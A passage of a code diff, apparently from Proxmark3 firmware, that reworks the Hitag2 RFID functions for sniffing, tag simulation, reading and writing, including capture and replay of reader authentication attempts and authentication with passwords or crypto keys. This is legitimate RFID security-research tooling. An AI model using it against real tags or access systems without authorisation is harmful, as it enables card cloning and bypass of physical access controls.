frame_count++; - LogTrace(rx, nbytes(rxlen), response, 0, NULL, reader_frame); - - // Check if we recognize a valid authentication attempt - if (nbytes(rxlen) == 8) { - // Store the authentication attempt - if (auth_table_len < (AUTH_TABLE_LENGTH - 8)) { - memcpy(auth_table + auth_table_len, rx, 8); - auth_table_len += 8; - } - } - - // Reset the received frame and response timing info - memset(rx, 0x00, sizeof(rx)); - response = 0; - reader_frame = false; - lastbit = 1; - bSkip = true; - tag_sof = 4; - overflow = 0; - - LED_B_OFF(); - LED_C_OFF(); - } else { - // Save the timer overflow, will be 0 when frame was received - overflow += (AT91C_BASE_TC1->TC_CV / T0); + /*lf_count_edge_periods(10000);*/ + while ((periods = lf_detect_gap(64)) != 0) { + num_to_bytes(periods, 4, periods_bytes); + LogTrace(periods_bytes, 4, 0, 0, NULL, true); } - // Reset the frame length - rxlen = 0; - // Reset the timer to restart while-loop that receives frames - AT91C_BASE_TC1->TC_CCR = AT91C_TC_SWTRG; + } - LEDsoff(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - set_tracing(false); - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; + lf_finalize(); - // release allocated memory from BigBuff. - BigBuf_free(); - StartTicks(); - - DbpString("Hitag2 sniffing end, use `lf hitag list` for annotations"); + DbpString("Hitag2 sniffing finish. Use `lf hitag list` for annotations"); } // Hitag2 simulation -void SimulateHitagTag(bool tag_mem_supplied, uint8_t *data) { +void SimulateHitag2(bool tag_mem_supplied, uint8_t *data) { - StopTicks(); - -// int frame_count = 0; - int response = 0, overflow = 0; - uint8_t rx[HITAG_FRAME_LEN]; - size_t rxlen = 0; - uint8_t tx[HITAG_FRAME_LEN]; - size_t txlen = 0; - - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); BigBuf_free(); BigBuf_Clear_ext(false); clear_trace(); set_tracing(true); + // empties bigbuff etc + lf_init(false, true); + + int response = 0; + uint8_t rx[HITAG_FRAME_LEN]; + size_t rxlen = 0; + uint8_t tx[HITAG_FRAME_LEN]; + size_t txlen = 0; + auth_table_len = 0; auth_table_pos = 0; - auth_table = BigBuf_malloc(AUTH_TABLE_LENGTH); - memset(auth_table, 0x00, AUTH_TABLE_LENGTH); +// auth_table = BigBuf_malloc(AUTH_TABLE_LENGTH); +// memset(auth_table, 0x00, AUTH_TABLE_LENGTH); // Reset the received frame, frame count and timing info - memset(rx, 0x00, sizeof(rx)); +// memset(rx, 0x00, sizeof(rx)); +// memset(tx, 0x00, sizeof(tx)); DbpString("Starting Hitag2 simulation"); - LED_D_ON(); + // hitag2 state machine? hitag2_init(); + // copy user supplied emulation data if (tag_mem_supplied) { DbpString("Loading hitag2 memory..."); memcpy((uint8_t *)tag.sectors, data, 48); } + // printing uint32_t block = 0; for (size_t i = 0; i < 12; i++) { + + // num2bytes? for (size_t j = 0; j < 4; j++) { block <<= 8; block |= tag.sectors[i][j]; @@ -941,89 +1099,146 @@ void SimulateHitagTag(bool tag_mem_supplied, uint8_t *data) { Dbprintf("| %d | %08x |", i, block); } - // Set up simulator mode, frequency divisor which will drive the FPGA - // and analog mux selection. - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz - SetAdcMuxFor(GPIO_MUXSEL_LOPKD); + uint8_t reader_modulation; + size_t max_nrzs = 8 * HITAG_FRAME_LEN + 5; + uint8_t nrz_samples[max_nrzs]; + size_t nrzs = 0, periods = 0; - // Configure output pin that is connected to the FPGA (for modulating) - AT91C_BASE_PIOA->PIO_OER |= GPIO_SSC_DOUT; - AT91C_BASE_PIOA->PIO_PER |= GPIO_SSC_DOUT; +// uint32_t command_start = 0, command_duration = 0; + // int16_t checked = 0; - // Disable modulation at default, which means release resistance - LOW(GPIO_SSC_DOUT); +// SIMULATE - // Enable Peripheral Clock for - // TIMER_CLOCK0, used to measure exact timing before answering - // TIMER_CLOCK1, used to capture edges of the tag frames - AT91C_BASE_PMC->PMC_PCER |= (1 << AT91C_ID_TC0) | (1 << AT91C_ID_TC1); + while (!BUTTON_PRESS()) { - AT91C_BASE_PIOA->PIO_BSR = GPIO_SSC_FRAME; + LED_D_ON(); - // Disable timer during configuration - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - - // TC0: Capture mode, default timer source = MCK/2 (TIMER_CLOCK1), no triggers - AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK; - - // TC1: Capture mode, default timer source = MCK/2 (TIMER_CLOCK1), TIOA is external trigger, - // external trigger rising edge, load RA on rising edge of TIOA. - AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK | AT91C_TC_ETRGEDG_RISING | AT91C_TC_ABETRG | AT91C_TC_LDRA_RISING; - - // Enable and reset counter - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - - // synchronized startup procedure - while (AT91C_BASE_TC0->TC_CV > 0) {}; // wait until TC0 returned to zero - - while (!BUTTON_PRESS() && !data_available()) { - // Watchdog hit +// lf_reset_counter(); + LED_A_OFF(); WDT_HIT(); - // Receive frame, watch for at most T0*EOF periods - while (AT91C_BASE_TC1->TC_CV < T0 * HITAG_T_EOF) { - // Check if rising edge in modulation is detected - if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { - // Retrieve the new timing values - int ra = (AT91C_BASE_TC1->TC_RA / T0) + overflow; - overflow = 0; - - // Reset timer every frame, we have to capture the last edge for timing - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - - LED_B_ON(); - - // Capture reader frame - if (ra >= HITAG_T_STOP) { - if (rxlen != 0) { - //DbpString("wierd0?"); + /* + // only every 1000th times, in order to save time when collecting samples. + if (checked == 100) { + if (data_available()) { + checked = -1; + break; + } else { + checked = 0; } - // Capture the T0 periods that have passed since last communication or field drop (reset) - response = (ra - HITAG_T_LOW); - } else if (ra >= HITAG_T_1_MIN) { - // '1' bit - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } else if (ra >= HITAG_T_0_MIN) { - // '0' bit - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - } else { - // Ignore wierd value, is to small to mean anything + } + ++checked; + */ + + rxlen = 0; + + // Keep administration of the first edge detection + bool waiting_for_first_edge = true; + + // Did we detected any modulaiton at all + bool detected_modulation = false; + + // Use the current modulation state as starting point + reader_modulation = lf_get_reader_modulation(); + + // Receive frame, watch for at most max_nrzs periods + // Reset the number of NRZ samples and use edge detection to detect them + nrzs = 0; + while (nrzs < max_nrzs) { + // Get the timing of the next edge in number of wave periods + periods = lf_count_edge_periods(128); + + // Just break out of loop after an initial time-out (tag is probably not available) + // The function lf_count_edge_periods() returns 0 when a time-out occurs + if (periods == 0) { + break; + } + + LED_A_ON(); + + // Are we dealing with the first incoming edge + if (waiting_for_first_edge) { + + // Register the number of periods that have passed + response = periods; + + // Indicate that we have dealt with the first edge + waiting_for_first_edge = false; + + // The first edge is always a single NRZ bit, force periods on 16 + periods = 16; + + // We have received more than 0 periods, so we have detected a tag response + detected_modulation = true; + } + + // Evaluate the number of periods before the next edge + if (periods > 24 && periods <= 64) { + // Detected two sequential equal bits and a modulation switch + // NRZ modulation: (11 => --|) or (11 __|) + nrz_samples[nrzs++] = reader_modulation; + nrz_samples[nrzs++] = reader_modulation; + // Invert tag modulation state + reader_modulation ^= 1; + } else if (periods > 0 && periods <= 24) { + // Detected one bit and a modulation switch + // NRZ modulation: (1 => -|) or (0 _|) + nrz_samples[nrzs++] = reader_modulation; + reader_modulation ^= 1; + } else { + reader_modulation ^= 1; + // The function lf_count_edge_periods() returns > 64 periods, this is not a valid number periods + Dbprintf("Detected unexpected period count: %d", periods); + break; + } + } + + LED_D_OFF(); + + // If there is no response, just repeat the loop + if (!detected_modulation) continue; + + LED_A_OFF(); + + // Make sure we always have an even number of samples. This fixes the problem + // of ending the manchester decoding with a zero. See the example below where + // the '|' character is end of modulation + // One at the end: ..._-|_____... + // Zero at the end: ...-_|_____... + // The last modulation change of a zero is not detected, but we should take + // the half period in account, otherwise the demodulator will fail. + if ((nrzs % 2) != 0) { + nrz_samples[nrzs++] = reader_modulation; + } + + LED_B_ON(); + + // decode bitstream + manrawdecode((uint8_t *)nrz_samples, &nrzs, true, 0); + + // Verify if the header consists of five consecutive ones + if (nrzs < 5) { + Dbprintf("Detected unexpected number of manchester decoded samples [%d]", nrzs); + continue; + } else { + for (size_t i = 0; i < 5; i++) { + if (nrz_samples[i] != 1) { + Dbprintf("Detected incorrect header, the bit [%d] is zero instead of one", i); } } } + // Pack the response into a byte array + for (size_t i = 5; i < 37; i++) { + uint8_t bit = nrz_samples[i]; + rx[rxlen / 8] |= bit << (7 - (rxlen % 8)); + rxlen++; + } + // Check if frame was captured if (rxlen > 4) { -// frame_count++; - LogTrace(rx, nbytes(rxlen), response, response, NULL, true); - // Disable timer 1 with external trigger to avoid triggers during our own modulation - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + LogTrace(rx, nbytes(rxlen), response, 0, NULL, true); // Process the incoming frame (rx) and prepare the outgoing frame (tx) hitag2_handle_reader_command(rx, rxlen, tx, &txlen); @@ -1032,12 +1247,16 @@ void SimulateHitagTag(bool tag_mem_supplied, uint8_t *data) { // not that since the clock counts since the rising edge, but T_Wait1 is // with respect to the falling edge, we need to wait actually (T_Wait1 - T_Low) // periods. The gap time T_Low varies (4..10). All timer values are in - // terms of T0 units - while (AT91C_BASE_TC0->TC_CV < T0 * (HITAG_T_WAIT_1 - HITAG_T_LOW)); + // terms of T0 units (HITAG_T_WAIT_1_MIN - HITAG_T_LOW ) + lf_wait_periods(HITAG_T_WAIT_1_MIN); // Send and store the tag answer (if there is any) if (txlen) { - hitag_send_frame(tx, txlen); + // Transmit the tag frame + //hitag_send_frame(tx, txlen); + lf_manchester_send_bytes(tx, txlen); + + // Store the frame in the trace LogTrace(tx, nbytes(txlen), 0, 0, NULL, false); } @@ -1045,80 +1264,113 @@ void SimulateHitagTag(bool tag_mem_supplied, uint8_t *data) { memset(rx, 0x00, sizeof(rx)); response = 0; - // Enable and reset external trigger in timer for capturing future frames - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; LED_B_OFF(); } - // Reset the frame length - rxlen = 0; - // Save the timer overflow, will be 0 when frame was received - overflow += (AT91C_BASE_TC1->TC_CV / T0); - // Reset the timer to restart while-loop that receives frames - AT91C_BASE_TC1->TC_CCR = AT91C_TC_SWTRG; } - LEDsoff(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - set_tracing(false); - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; + lf_finalize(); // release allocated memory from BigBuff. BigBuf_free(); - StartTicks(); + DbpString("Sim stopped"); - DbpString("Sim Stopped"); +// reply_ng(CMD_LF_HITAG_SIMULATE, (checked == -1) ? PM3_EOPABORTED : PM3_SUCCESS, (uint8_t *)tag.sectors, tag_size); } void ReaderHitag(hitag_function htf, hitag_data *htd) { - StopTicks(); + uint32_t command_start = 0, command_duration = 0; + uint32_t response_start = 0, response_duration = 0; -// int frame_count = 0; - int response = 0; uint8_t rx[HITAG_FRAME_LEN]; size_t rxlen = 0; uint8_t txbuf[HITAG_FRAME_LEN]; uint8_t *tx = txbuf; size_t txlen = 0; - int lastbit = 1; - bool bSkip; - int reset_sof; - int tag_sof; - int t_wait = HITAG_T_WAIT_MAX; + + int t_wait_1 = 204; + int t_wait_1_guard = 8; + int t_wait_2 = 128; + size_t tag_size = 48; bool bStop = false; + // Raw demodulation/decoding by sampling edge periods + size_t periods = 0; + + // Reset the return status bSuccessful = false; + bCrypto = false; + + // Clean up trace and prepare it for storing frames + set_tracing(true); + clear_trace(); // Check configuration switch (htf) { + case RHT1F_PLAIN: { + DBG Dbprintf("Read public blocks in plain mode"); + // this part will be unreadable + memset(tag.sectors + 2, 0x0, 30); + blocknr = 0; + break; + } + case RHT1F_AUTHENTICATE: { + DBG Dbprintf("Read all blocks in authed mode"); + memcpy(nonce, htd->ht1auth.nonce, 4); + memcpy(key, htd->ht1auth.key, 4); + memcpy(logdata_0, htd->ht1auth.logdata_0, 4); + memcpy(logdata_1, htd->ht1auth.logdata_1, 4); + // TEST + memset(nonce, 0x0, 4); + memset(logdata_1, 0x00, 4); + byte_value = 0; + key_no = htd->ht1auth.key_no; + DBG Dbprintf("Authenticating using key #%d:", key_no); + DBG Dbhexdump(4, key, false); + DBG DbpString("Nonce:"); + DBG Dbhexdump(4, nonce, false); + DBG DbpString("Logdata_0:"); + DBG Dbhexdump(4, logdata_0, false); + DBG DbpString("Logdata_1:"); + DBG Dbhexdump(4, logdata_1, false); + blocknr = 0; + break; + } case RHT2F_PASSWORD: { - Dbprintf("List identifier in password mode"); - memcpy(password, htd->pwd.password, 4); + DBG Dbprintf("List identifier in password mode"); + if (memcmp(htd->pwd.password, "\x00\x00\x00\x00", 4) == 0) + memcpy(password, tag.sectors[1], sizeof(password)); + else + memcpy(password, htd->pwd.password, sizeof(password)); + blocknr = 0; bPwd = false; + bAuthenticating = false; break; } case RHT2F_AUTHENTICATE: { - DbpString("Authenticating using nr,ar pair:"); + DBG DbpString("Authenticating using nr,ar pair:"); memcpy(NrAr, htd->auth.NrAr, 8); - Dbhexdump(8, NrAr, false); + DBG Dbhexdump(8, NrAr, false); bCrypto = false; bAuthenticating = false; break; } case RHT2F_CRYPTO: { - DbpString("Authenticating using key:"); + DBG DbpString("Authenticating using key:"); memcpy(key, htd->crypto.key, 6); //HACK; 4 or 6?? I read both in the code. - Dbhexdump(6, key, false); + DBG Dbhexdump(6, key, false); + DBG DbpString("Nonce:"); + DBG Dbhexdump(4, nonce, false); + memcpy(nonce, htd->crypto.data, 4); blocknr = 0; bCrypto = false; bAuthenticating = false; break; } case RHT2F_TEST_AUTH_ATTEMPTS: { - Dbprintf("Testing %d authentication attempts", (auth_table_len / 8)); + DBG Dbprintf("Testing %d authentication attempts", (auth_table_len / 8)); auth_table_pos = 0; memcpy(NrAr, auth_table, 8); bCrypto = false; @@ -1131,94 +1383,79 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { break; } default: { - Dbprintf("Error, unknown function: %d", htf); + DBG Dbprintf("Error, unknown function: %d", htf); set_tracing(false); - StartTicks(); return; } } - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - BigBuf_free(); - clear_trace(); - set_tracing(true); - LED_D_ON(); + + // hitag2 state machine? hitag2_init(); - - // Set fpga in edge detect with reader field, we can modulate as reader now - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT | FPGA_LF_EDGE_DETECT_READER_FIELD); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz - SetAdcMuxFor(GPIO_MUXSEL_LOPKD); - - // Configure output and enable pin that is connected to the FPGA (for modulating) - AT91C_BASE_PIOA->PIO_OER |= GPIO_SSC_DOUT; - AT91C_BASE_PIOA->PIO_PER |= GPIO_SSC_DOUT; - - // Disable modulation at default, which means enable the field - LOW(GPIO_SSC_DOUT); - - // Enable Peripheral Clock for - // TIMER_CLOCK0, used to measure exact timing before answering - // TIMER_CLOCK1, used to capture edges of the tag frames - AT91C_BASE_PMC->PMC_PCER |= (1 << AT91C_ID_TC0) | (1 << AT91C_ID_TC1); - - // PIO_A - BSR - AT91C_BASE_PIOA->PIO_BSR = GPIO_SSC_FRAME; - - // Disable timer during configuration - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - - // TC0: Capture mode, default timer source = MCK/2 (TIMER_CLOCK1), no triggers - AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK; - - // TC1: Capture mode, default timer source = MCK/2 (TIMER_CLOCK1), TIOA is external trigger, - // external trigger rising edge, load RA on falling edge of TIOA. - AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK | AT91C_TC_ETRGEDG_FALLING | AT91C_TC_ABETRG | AT91C_TC_LDRA_FALLING; - - // Enable and reset counters - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - - // synchronized startup procedure - while (AT91C_BASE_TC0->TC_CV > 0) {}; // wait until TC0 returned to zero + uint8_t attempt_count = 0; // Tag specific configuration settings (sof, timings, etc.) if (htf < 10) { // hitagS settings - reset_sof = 1; - t_wait = 200; + t_wait_1 = 204; + t_wait_2 = 128; + flipped_bit = 0; + tag_size = 8; + DBG DbpString("Configured for hitagS reader"); } else if (htf < 20) { // hitag1 settings - reset_sof = 1; - t_wait = 200; + t_wait_1 = 204; + t_wait_2 = 128; + tag_size = 256; + flipped_bit = 0; + DBG DbpString("Configured for hitag1 reader"); } else if (htf < 30) { // hitag2 settings - reset_sof = 4; - t_wait = HITAG_T_WAIT_2; - } else { - Dbprintf("Error, unknown hitag reader type: %d", htf); - goto out; + t_wait_1 = HITAG_T_WAIT_1_MIN; + t_wait_2 = HITAG_T_WAIT_2_MIN; + tag_size = 48; + DBG DbpString("Configured for hitag2 reader"); } - uint8_t attempt_count = 0; - while (!bStop && !BUTTON_PRESS() && !data_available()) { + // init as reader + lf_init(true, false); + + uint8_t tag_modulation; + size_t max_nrzs = (8 * HITAG_FRAME_LEN + 5) * 2; // up to 2 nrzs per bit + uint8_t nrz_samples[max_nrzs]; + size_t nrzs = 0; + int16_t checked = 0; + + while (!bStop && !BUTTON_PRESS()) { WDT_HIT(); - // Check if frame was captured and store it - if (rxlen > 0) { -// frame_count++; - LogTrace(rx, nbytes(rxlen), response, response, NULL, false); + // only every 1000th times, in order to save time when collecting samples. + if (checked == 1000) { + if (data_available()) { + checked = -1; + break; + } else { + checked = 0; + } } + ++checked; // By default reset the transmission buffer tx = txbuf; switch (htf) { + case RHT1F_PLAIN: { + bStop = !hitag_plain(rx, rxlen, tx, &txlen, false); + break; + } + case RHT1F_AUTHENTICATE: { + bStop = !hitag1_authenticate(rx, rxlen, tx, &txlen); + break; + } case RHT2F_PASSWORD: { - bStop = !hitag2_password(rx, rxlen, tx, &txlen); + bStop = !hitag2_password(rx, rxlen, tx, &txlen, false); break; } case RHT2F_AUTHENTICATE: { @@ -1242,142 +1479,208 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { break; } default: { - Dbprintf("Error, unknown function: %d", htf); + DBG Dbprintf("Error, unknown function: %d", htf); goto out; } } - // Send and store the reader command - // Disable timer 1 with external trigger to avoid triggers during our own modulation - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - - // Wait for HITAG_T_WAIT_2 carrier periods after the last tag bit before transmitting, - // Since the clock counts since the last falling edge, a 'one' means that the - // falling edge occured halfway the period. with respect to this falling edge, - // we need to wait (T_Wait2 + half_tag_period) when the last was a 'one'. - // All timer values are in terms of T0 units - while (AT91C_BASE_TC0->TC_CV < T0 * (t_wait + (HITAG_T_TAG_HALF_PERIOD * lastbit))); + // Wait for t_wait_2 carrier periods after the last tag bit before transmitting, + lf_wait_periods(t_wait_2); + command_start += t_wait_2; // Transmit the reader frame - hitag_reader_send_frame(tx, txlen); + command_duration = hitag_reader_send_frame(tx, txlen); + response_start = command_start + command_duration; - // Enable and reset external trigger in timer for capturing future frames - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + // Let the antenna and ADC values settle + // And find the position where edge sampling should start + lf_wait_periods(t_wait_1 - t_wait_1_guard); + response_start += t_wait_1 - t_wait_1_guard; - // Add transmitted frame to total count + // Keep administration of the first edge detection + bool waiting_for_first_edge = true; + + // Did we detected any modulaiton at all + bool detected_tag_modulation = false; + + // Use the current modulation state as starting point + tag_modulation = lf_get_tag_modulation(); + + // Reset the number of NRZ samples and use edge detection to detect them + nrzs = 0; + while (nrzs < max_nrzs) { + // Get the timing of the next edge in number of wave periods + periods = lf_count_edge_periods(128); + + // Are we dealing with the first incoming edge + if (waiting_for_first_edge) { + // Just break out of loop after an initial time-out (tag is probably not available) + if (periods == 0) break; + if (tag_modulation == 0) { + // hitag replies always start with 11111 == 1010101010, if we see 0 + // it means we missed the first period, e.g. if the signal never crossed 0 since reader signal + // so let's add it: + nrz_samples[nrzs++] = tag_modulation ^ 1; + // Register the number of periods that have passed + // we missed the begin of response but we know it happened one period of 16 earlier + response_start += periods - 16; + response_duration = response_start; + } else { + // Register the number of periods that have passed + response_start += periods; + response_duration = response_start; + } + // Indicate that we have dealt with the first edge + waiting_for_first_edge = false; + // The first edge is always a single NRZ bit, force periods on 16 + periods = 16; + // We have received more than 0 periods, so we have detected a tag response + detected_tag_modulation = true; + } else { + // The function lf_count_edge_periods() returns 0 when a time-out occurs + if (periods == 0) { + DBG Dbprintf("Detected timeout after [%d] nrz samples", nrzs); + break; + } + } + // Evaluate the number of periods before the next edge + if (periods > 24 && periods <= 64) { + // Detected two sequential equal bits and a modulation switch + // NRZ modulation: (11 => --|) or (11 __|) + nrz_samples[nrzs++] = tag_modulation; + nrz_samples[nrzs++] = tag_modulation; + response_duration += periods; + // Invert tag modulation state + tag_modulation ^= 1; + } else if (periods > 0 && periods <= 24) { + // Detected one bit and a modulation switch + // NRZ modulation: (1 => -|) or (0 _|) + nrz_samples[nrzs++] = tag_modulation; + response_duration += periods; + tag_modulation ^= 1; + } else { + // The function lf_count_edge_periods() returns > 64 periods, this is not a valid number periods + DBG Dbprintf("Detected unexpected period count: %d", periods); + break; + } + } + + // Store the TX frame, we do this now at this point, to avoid delay in processing + // and to be able to overwrite the first samples with the trace (since they currently + // still use the same memory space) if (txlen > 0) { -// frame_count++; - LogTrace(tx, nbytes(txlen), HITAG_T_WAIT_2, HITAG_T_WAIT_2, NULL, true); + LogTrace(tx, nbytes(txlen), command_start, command_start + command_duration, NULL, true); } // Reset values for receiving frames memset(rx, 0x00, sizeof(rx)); rxlen = 0; - lastbit = 1; - bSkip = true; - tag_sof = reset_sof; - response = 0; - uint32_t errorCount = 0; - // Receive frame, watch for at most T0*EOF periods - while (AT91C_BASE_TC1->TC_CV < T0 * HITAG_T_WAIT_MAX) { + // If there is no response, just repeat the loop + if (!detected_tag_modulation) continue; - // Check if falling edge in tag modulation is detected - if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { - // Retrieve the new timing values - int ra = (AT91C_BASE_TC1->TC_RA / T0); + // Make sure we always have an even number of samples. This fixes the problem + // of ending the manchester decoding with a zero. See the example below where + // the '|' character is end of modulation + // One at the end: ..._-|_____... + // Zero at the end: ...-_|_____... + // The last modulation change of a zero is not detected, but we should take + // the half period in account, otherwise the demodulator will fail. + if ((nrzs % 2) != 0) { + nrz_samples[nrzs++] = tag_modulation; + } - // Reset timer every frame, we have to capture the last edge for timing - AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; + LED_B_ON(); - LED_B_ON(); + // decode bitstream + manrawdecode((uint8_t *)nrz_samples, &nrzs, true, 0); - // Capture tag frame (manchester decoding using only falling edges) - if (ra >= HITAG_T_EOF) { - // Capture the T0 periods that have passed since last communication or field drop (reset) - // We always recieve a 'one' first, which has the falling edge after a half period |-_| - response = ra - HITAG_T_TAG_HALF_PERIOD; - } else if (ra >= HITAG_T_TAG_CAPTURE_FOUR_HALF) { - // Manchester coding example |-_|_-|-_| (101) - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } else if (ra >= HITAG_T_TAG_CAPTURE_THREE_HALF) { - // Manchester coding example |_-|...|_-|-_| (0...01) - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - // We have to skip this half period at start and add the 'one' the second time - if (!bSkip) { - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } - lastbit = !lastbit; - bSkip = !bSkip; - } else if (ra >= HITAG_T_TAG_CAPTURE_TWO_HALF) { - // Manchester coding example |_-|_-| (00) or |-_|-_| (11) - if (tag_sof) { - // Ignore bits that are transmitted during SOF - tag_sof--; - } else { - // bit is same as last bit - rx[rxlen / 8] |= lastbit << (7 - (rxlen % 8)); - rxlen++; - } - } else { - errorCount++; - // Ignore wierd value, is to small to mean anything + // decode frame + + // Verify if the header consists of five consecutive ones + if (nrzs < 5) { + DBG Dbprintf("Detected unexpected number of manchester decoded samples [%d]", nrzs); + break; + } else { + size_t i; + for (i = 0; i < 5; i++) { + if (nrz_samples[i] != 1) { + DBG Dbprintf("Detected incorrect header, the bit [%d] is zero instead of one, abort", i); + break; } } - //if we saw over 100 wierd values break it probably isn't hitag... - if (errorCount > 100) break; - // We can break this loop if we received the last bit from a frame - if (AT91C_BASE_TC1->TC_CV > T0 * HITAG_T_EOF) { - if (rxlen > 0) break; + if (i < 5) break; + } + + // Pack the response into a byte array + for (size_t i = 5; i < nrzs; i++) { + uint8_t bit = nrz_samples[i]; + if (bit > 1) { // When Manchester detects impossible symbol it writes "7" + DBG Dbprintf("Error in Manchester decoding, abort"); + break; } + rx[rxlen / 8] |= bit << (7 - (rxlen % 8)); + rxlen++; + } + + if (rxlen % 8 == 1) // skip spurious bit + rxlen--; + + // Check if frame was captured and store it + if (rxlen > 0) { + + LogTrace(rx, nbytes(rxlen), response_start, response_start + response_duration, NULL, false); + +// TODO when using cumulative time for command_start, pm3 doesn't reply anymore, e.g. on lf hitag read 23 4F4E4D494B52 +// Use delta time? +// command_start = response_start + response_duration; + command_start = 0; + nrzs = 0; } } out: - LEDsoff(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - set_tracing(false); - - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; + lf_finalize(); // release allocated memory from BigBuff. BigBuf_free(); - StartTicks(); if (bSuccessful) - reply_old(CMD_ACK, bSuccessful, 0, 0, (uint8_t *)tag.sectors, 48); + reply_mix(CMD_ACK, bSuccessful, 0, 0, (uint8_t *)tag.sectors, tag_size); else - reply_old(CMD_ACK, bSuccessful, 0, 0, 0, 0); + reply_mix(CMD_ACK, bSuccessful, 0, 0, 0, 0); } void WriterHitag(hitag_function htf, hitag_data *htd, int page) { - StopTicks(); - -// int frame_count = 0; - int response = 0; + uint32_t command_start = 0; + uint32_t command_duration = 0; + uint32_t response_start = 0; + uint32_t response_duration = 0; uint8_t rx[HITAG_FRAME_LEN]; size_t rxlen = 0; uint8_t txbuf[HITAG_FRAME_LEN]; uint8_t *tx = txbuf; size_t txlen = 0; - int lastbit; - int reset_sof; - int t_wait = HITAG_T_WAIT_MAX; - bool bStop; - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - set_tracing(true); - clear_trace(); + int t_wait_1 = 204; + int t_wait_1_guard = 8; + int t_wait_2 = 128; + size_t tag_size = 48; + + bool bStop = false; + + // Raw demodulation/decoding by sampling edge periods + size_t periods = 0; // Reset the return status bSuccessful = false; + bCrypto = false; + + // Clean up trace and prepare it for storing frames + set_tracing(true); + clear_trace(); + // Check configuration switch (htf) { @@ -1392,226 +1695,250 @@ void WriterHitag(hitag_function htf, hitag_data *htd, int page) { writestate = WRITE_STATE_START; } break; + case WHT2F_PASSWORD: { + DbpString("Authenticating using password:"); + memcpy(password, htd->pwd.password, 4); + memcpy(writedata, htd->crypto.data, 4); + Dbhexdump(4, password, false); + blocknr = page; + bPwd = false; + bAuthenticating = false; + writestate = WRITE_STATE_START; + } + break; default: { Dbprintf("Error, unknown function: %d", htf); - StartTicks(); return; } break; } LED_D_ON(); + hitag2_init(); - // Configure output and enable pin that is connected to the FPGA (for modulating) - AT91C_BASE_PIOA->PIO_OER |= GPIO_SSC_DOUT; - AT91C_BASE_PIOA->PIO_PER |= GPIO_SSC_DOUT; - - // Set fpga in edge detect with reader field, we can modulate as reader now - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT | FPGA_LF_EDGE_DETECT_READER_FIELD); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz - SetAdcMuxFor(GPIO_MUXSEL_LOPKD); - - // Disable modulation at default, which means enable the field - LOW(GPIO_SSC_DOUT); - - // Enable Peripheral Clock for - // TIMER_CLOCK0, used to measure exact timing before answering - // TIMER_CLOCK1, used to capture edges of the tag frames - AT91C_BASE_PMC->PMC_PCER |= (1 << AT91C_ID_TC0) | (1 << AT91C_ID_TC1); - - AT91C_BASE_PIOA->PIO_BSR = GPIO_SSC_FRAME; - - // Disable timer during configuration - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - - // TC0: Capture mode, default timer source = MCK/2 (TIMER_CLOCK1), no triggers - AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK; - - // TC1: Capture mode, defaul timer source = MCK/2 (TIMER_CLOCK1), TIOA is external trigger, - // external trigger rising edge, load RA on falling edge of TIOA. - AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK - | AT91C_TC_ETRGEDG_FALLING - | AT91C_TC_ABETRG 